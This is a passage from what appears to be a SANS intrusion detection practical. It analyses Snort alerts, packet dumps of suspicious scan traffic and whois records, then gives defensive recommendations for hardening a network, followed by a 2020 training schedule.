<td>MY.NET.6.47</td>
<td>25</td>
</tr>
<tr>
<td>140</td>
<td>65.105.159.22</td>
<td>44362</td>
<td>MY.NET.6.47</td>
<td>25</td>
</tr>
<tr>
<td>141</td>
<td>65.105.159.22</td>
<td>44556</td>
<td>MY.NET.6.47</td>
<td>25</td>
</tr>
<tr>
<td>147</td>
<td>65.105.159.22</td>
<td>50258</td>
<td>MY.NET.6.40</td>
<td>25</td>
</tr>
<tr>
<td>151</td>
<td>65.105.159.22</td>
<td>50258</td>
<td>MY.NET.6.40</td>
<td>25</td>
</tr>
<tr>
<td>153</td>
<td>65.105.159.22</td>
<td>50258</td>
<td>MY.NET.6.40</td>
<td>25</td>
</tr>
<tr>
<td>155</td>
<td>65.105.159.22</td>
<td>35337</td>
<td>MY.NET.6.40</td>
<td>25</td>
</tr>
<tr>
<td>156</td>
<td>65.105.159.22</td>
<td>35337</td>
<td>MY.NET.6.40</td>
<td>25</td>
</tr>
<tr>
<td>157</td>
<td>65.105.159.22</td>
<td>35337</td>
<td>MY.NET.6.40</td>
<td>25</td>
</tr>
<tr>
<td>136</td>
<td>65.105.159.22</td>
<td>43983</td>
<td>MY.NET.6.40</td>
<td>25</td>
</tr>
</tbody>
</table>

Also looks like a miss configured mail server. Here’s the Whois information

XO Communications (NET-XOXO-BLK-15)
1400 Parkmoor Avenue
San Jose, CA 95126-3429
US

Netname: XOXO-BLK-15
Netblock: 65.104.0.0 - 65.107.255.255
Maintainer: XOC

Coordinator:
  DNS and IP ADMIN (DIA-ORG-ARIN) hostmaster@CONCENTRIC.NET
  (408) 817-2800
Fax: - - (408) 817-2630

Domain System inverse mapping provided by:

  NAMESERVER1.CONCENTRIC.NET  207.155.183.73
  NAMESERVER2.CONCENTRIC.NET  207.155.184.72
65.129.XXX.XXX

We also notice that we are getting some weird traffic from a particular range of addresses.

<table>
<thead>
<tr>
<th>ID</th>
<th>source</th>
<th>sourceport</th>
<th>dest</th>
<th>destport</th>
</tr>
</thead>
<tbody>
<tr>
<td>19</td>
<td>65.129.40.105</td>
<td>21331</td>
<td>MY.NET.60.8</td>
<td>18477</td>
</tr>
<tr>
<td>35</td>
<td>65.129.52.9</td>
<td>20559</td>
<td>MY.NET.11.4</td>
<td>21332</td>
</tr>
<tr>
<td>41</td>
<td>65.129.30.18</td>
<td>18245</td>
<td>MY.NET.253.114</td>
<td>21536</td>
</tr>
<tr>
<td>42</td>
<td>65.129.43.23</td>
<td>18245</td>
<td>MY.NET.253.114</td>
<td>21536</td>
</tr>
<tr>
<td>45</td>
<td>65.129.54.182</td>
<td>18245</td>
<td>MY.NET.253.114</td>
<td>21536</td>
</tr>
<tr>
<td>53</td>
<td>65.129.90.73</td>
<td>5635</td>
<td>MY.NET.253.112</td>
<td>0</td>
</tr>
<tr>
<td>56</td>
<td>65.129.56.59</td>
<td>18245</td>
<td>MY.NET.253.114</td>
<td>21536</td>
</tr>
<tr>
<td>109</td>
<td>65.129.16.243</td>
<td>18245</td>
<td>MY.NET.253.114</td>
<td>21536</td>
</tr>
<tr>
<td>112</td>
<td>65.129.37.67</td>
<td>5635</td>
<td>MY.NET.5.29</td>
<td>0</td>
</tr>
<tr>
<td>113</td>
<td>65.129.37.67</td>
<td>5635</td>
<td>MY.NET.5.29</td>
<td>0</td>
</tr>
<tr>
<td>117</td>
<td>65.129.45.227</td>
<td>18245</td>
<td>MY.NET.253.114</td>
<td>21536</td>
</tr>
</tbody>
</table>

Here are all the packets for this range.

12/27-09:19:05.493494 65.129.40.105:21331 -> MY.NET.60.8:18477
TCP TTL:120 TOS:0x0 ID:229 DF
**SFRP*U Seq: 0x312E352D  Ack: 0x54545353  Win: 0x312E
35 2E 31 20 57 69 6E 33 32 0A                    5.1 Win32.

12/27-12:46:34.777859 65.129.52.9:20559 -> MY.NET.11.4:21332
TCP TTL:117 TOS:0x0 ID:50 DF
2*SF*P*U Seq: 0x202F7370  Ack: 0x6970652F  Win: 0x6720
63 65 70 74 3A 20 cept:

TCP TTL:117 TOS:0x0 ID:1382 DF
2*SF**AU Seq: 0x2F65636F  Ack: 0x6E6F6D69  Win: 0x2F20
0D 0A 41 63 65 70 74 3A 20 ..Accept:

TCP TTL:117 TOS:0x0 ID:15852 DF
2*SF***U Seq: 0x2F686D66  Ack: 0x6573756E  Win: 0x7373
65 73 75 6E 2E 63 73 73 20 48 54 54 50 2F 31 2E esun.css HTTP/1.
31 0D 0A 41 63 65 70 74 3A 1..Accept:

12/27-14:05:50.606592 65.129.54.182:18245 -> MY.NET.253.114:21536
TCP TTL:117 TOS:0x0 ID:20993 DF
2*SF***U Seq: 0x2F686F6D Ack: 0x6573756E Win: 0x7373
65 73 75 6E 2E 63 63 73 73 20 48 54 50 2F 31 2E esun.css HTTP/1.
31 OD 0A 41 63 63 65 70 74 3A 1..Accept:
12/27-15:04:24.882495 65.129.90.73:5635 -> MY.NET.253.112:0
TCP TTL:117 TOS:0x0 ID:342 DF
21SFRP*U Seq: 0x5B010000 Ack: 0x57030070 Win: 0x3A43
TCP TTL:120 TOS:0x0 ID:209 DF
2*SF***U Seq: 0x2F686F6D Ack: 0x6573756E Win: 0x7373
65 73 75 6E 2E 63 63 73 73 20 48 54 50 2F 31 2E esun.css HTTP/1.
31 OD 0A 41 63 63 65 70 74 3A 1..Accept:
TCP TTL:120 TOS:0x0 ID:28426 DF
2*SF***U Seq: 0x2F686F6D Ack: 0x6573756E Win: 0x7373
65 73 75 6E 2E 63 63 73 73 20 48 54 50 2F 31 2E esun.css HTTP/1.
31 OD 0A 41 63 63 65 70 74 3A 1..Accept:
TCP TTL:117 TOS:0x0 ID:56576 DF
*1SFRP*U Seq: 0x5B010000 Ack: 0x570300AA Win: 0x20D9
57 03 00 0A 25 AF 20 D9 1E 47 E6 91 8A F5 A9 68 W...%. ..G.....h
3D C3 C0 51 2A 41 09 CC EE A8 =..Q*A....
12/27-20:51:05.361882 65.129.37.67:5635 -> MY.NET.5.29:0
TCP TTL:117 TOS:0x0 ID:28417 DF
**SFR*AU Seq: 0x5B010000 Ack: 0x57030073 Win: 0x239
16 03 00 00 5B 01 00 00 57 03 00 73 03 37 02 39 ..[...W..s.7.9
DC D3 D1 A1 B8 74 68 98 70 5B E7 67 41 56 7F BA ..th.p[.gAV..B
0B F0
TCP TTL:120 TOS:0x0 ID:45312 DF
2*SF*** Seq: 0x2F41626F Ack: 0x75745554D Win: 0x2F53
63 68 65 64 75 6C 65 20 48 54 50 2F 31 2E 31 chedule HTTP/1.1
0D 0A

You will notice that the TTL is quite high (117) and the destination port is also high.
There are also a few packets sent to port 0 (could be a recon attack).

Some of the packets look like http.
Here is the registration information for those sources:
Qwest Communications (NETBLK-NET-QWEST-3BLKS)
950 17th St. Suite 1900
Denver, CO 80202
US

Netname: NET-QWEST-3BLKS
Netblock: 65.128.0.0 - 65.158.159.255
Maintainer: QWDL

Coordinator:
Qwest, NOC (QN-ARIN) DIAProdMaint@qwestip.net
1-703-363-3001 (FAX) 1-703-363-3177

Domain System inverse mapping provided by:
DCA-ANS-01.INET.QWEST.NET 205.171.9.242
SVL-ANS-01.INET.QWEST.NET 205.171.14.195

ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE

Record last updated on 01-Aug-2001.
Database last updated on  17-Jan-2002 02:39:51 EDT.

The packets coming from port 18245 -> 21536
Have been analyzed in the past by Paul Ritchey
(http://www.sans.org/y2k/practical/Paul_Ritchey_GCIA.doc) and have been the topic
of discussion in a insecure.org thread:
potentially be a form of reconnaissance scan but could also be due to a miss configured
server.

Here we have another breakdown of the attacks:
The most “attacked” ports are 25 (SMTP) and 80 (HTTP). Some packets were sent to port 0. This might potentially be a reconnaissance attempt (using hping2 or other tools).

The most attacked systems are MY.NET.253.43 and MY.NET.6.7 and they should be examined for traces of compromise or configuration issues.

<table>
<thead>
<tr>
<th>Destination</th>
<th>Number of packets</th>
</tr>
</thead>
<tbody>
<tr>
<td>MY.NET.253.43</td>
<td>41</td>
</tr>
<tr>
<td>MY.NET.6.7</td>
<td>29</td>
</tr>
<tr>
<td>MY.NET.6.40</td>
<td>14</td>
</tr>
<tr>
<td>MY.NET.100.165</td>
<td>12</td>
</tr>
<tr>
<td>MY.NET.253.114</td>
<td>11</td>
</tr>
<tr>
<td>MY.NET.253.24</td>
<td>9</td>
</tr>
<tr>
<td>MY.NET.163.107</td>
<td>6</td>
</tr>
<tr>
<td>MY.NET.179.74</td>
<td>5</td>
</tr>
<tr>
<td>MY.NET.253.42</td>
<td>5</td>
</tr>
<tr>
<td>MY.NET.1.6</td>
<td>5</td>
</tr>
<tr>
<td>MY.NET.6.47</td>
<td>3</td>
</tr>
<tr>
<td>MY.NET.60.14</td>
<td>3</td>
</tr>
<tr>
<td>MY.NET.5.29</td>
<td>2</td>
</tr>
<tr>
<td>MY.NET.253.41</td>
<td>2</td>
</tr>
</tbody>
</table>
Here’s the distribution

<table>
<thead>
<tr>
<th>Destination</th>
<th>Number of packets</th>
</tr>
</thead>
<tbody>
<tr>
<td>MY.NET.6.35</td>
<td>2</td>
</tr>
<tr>
<td>MY.NET.60.8</td>
<td>1</td>
</tr>
<tr>
<td>MY.NET.100.230</td>
<td>1</td>
</tr>
<tr>
<td>MY.NET.11.4</td>
<td>1</td>
</tr>
<tr>
<td>MY.NET.111.11</td>
<td>1</td>
</tr>
<tr>
<td>MY.NET.111.157</td>
<td>1</td>
</tr>
<tr>
<td>MY.NET.115.115</td>
<td>1</td>
</tr>
<tr>
<td>MY.NET.253.125</td>
<td>1</td>
</tr>
<tr>
<td>MY.NET.253.112</td>
<td>1</td>
</tr>
<tr>
<td>MY.NET.99.39</td>
<td>1</td>
</tr>
<tr>
<td>MY.NET.253.53</td>
<td>1</td>
</tr>
<tr>
<td>MY.NET.178.86</td>
<td>1</td>
</tr>
</tbody>
</table>
General Analysis

We have seen a lot of scans and a few buffer overflow attempts. The fact that Anonymous ftp is allowed on some machine, might lead to a compromise in the future. Ftp exploit are quite common and leaving a door open is never a good idea. We’ve also seen a few web exploit attempts (some are Nimda related) and general recon attacks and these should serve as warnings for future exploit attempts. There was also a lot of fragmentation issues and these should be investigated a bit more. Sending only the first part of a packet, and then awaiting a response can be used for a recon attack. Fragmentation can potentially help attackers bypass detection from an IDS. The logs showed alerts dealing with Subseven and backdoors like NetMetro. The compromised systems should be examined closely.

After analyzing and going through all of these alerts, it is obvious that extreme vigilance is very important and carefully examining events (hopefully) every day would be advisable.
Defensive recommendations

There are many things that I would recommend in helping harden this network

- Make sure that Anonymous ftp access to your ftp server is strictly regulated.
- Make sure that your firewalls and IDS systems are all up to date and monitored on a regular basis.
- A strict security policy should be put on place (if it is not done already) and be enforced!
- Use of P2P software like Napster/Gnutella should be monitored closely to limit Bandwidth usage and potential Trojan infections.
- Web server (and especially cgi scripts) should be audited and watched.
- Passwords should be audited
- Generally, use a defense in depth approach...no single tool/system can guarantee that you will be safe.
- DMZ should be put in place.
- Desktops and personal computers should have a local version of a firewall to help filter out potential attacks.
- Anti-virus software should be kept up to date.
- Judicious placement of the various intrusion detection tools (Host-based or Network-Based).
- Be alert 😊. Being paranoid doesn’t mean “they” are not trying to get you.

Analysis method

I used several Perl scripts to help me parse and analyze the large quantity of alerts. Snortsnarf was used to categorize and separate all the alerts (it generated a whopping 350 megs of html files and I needed to replace every occurrence of MY.NET to 255.255 so that it would work). Snort_stat.pl was used to generate statistics for the different graphs and tables for the scans and alerts. I then imported the parsed log files into an Access database and used the chart options to create the different graphs.
# Upcoming Training

<table>
<thead>
<tr>
<th>Course Description</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>Instructor-Led Training</td>
<td>MA</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS vLive - SEC503: Intrusion Detection In-Depth</td>
<td>SEC503 - 202008,</td>
<td>Aug 10, 2020 - Sep 16, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>SANS Essentials Live Online 2020</td>
<td>Australia</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Baltimore Fall 2020 - Live Online</td>
<td>Baltimore, MD</td>
<td>Sep 08, 2020 - Sep 13, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Baltimore Fall 2020</td>
<td>Baltimore, MD</td>
<td>Sep 08, 2020 - Sep 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Network Security 2020 - Live Online</td>
<td>Las Vegas, NV</td>
<td>Sep 20, 2020 - Sep 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS October Singapore 2020</td>
<td>Singapore, Singapore</td>
<td>Oct 12, 2020 - Oct 24, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London October 2020 - Live Online</td>
<td>London, United Kingdom</td>
<td>Oct 12, 2020 - Oct 17, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS October Singapore 2020 - Live Online</td>
<td>Singapore, Singapore</td>
<td>Oct 12, 2020 - Oct 24, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Dallas Fall 2020</td>
<td>Dallas, TX</td>
<td>Oct 19, 2020 - Oct 24, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Dallas Fall 2020 - Live Online</td>
<td>Dallas, TX</td>
<td>Oct 19, 2020 - Oct 24, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London November 2020</td>
<td>London, United Kingdom</td>
<td>Nov 02, 2020 - Nov 07, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London November 2020 - Live Online</td>
<td>London, United Kingdom</td>
<td>Nov 02, 2020 - Nov 07, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS San Diego Fall 2020 - Live Online</td>
<td>San Diego, CA</td>
<td>Nov 16, 2020 - Nov 21, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS San Diego Fall 2020</td>
<td>San Diego, CA</td>
<td>Nov 16, 2020 - Nov 21, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Cyber Defense Initiative 2020 - Live Online</td>
<td>Washington, DC</td>
<td>Dec 14, 2020 - Dec 19, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS OnDemand</td>
<td>Online</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
<tr>
<td>SANS SelfStudy</td>
<td>Books &amp; MP3s Only</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
</tbody>
</table>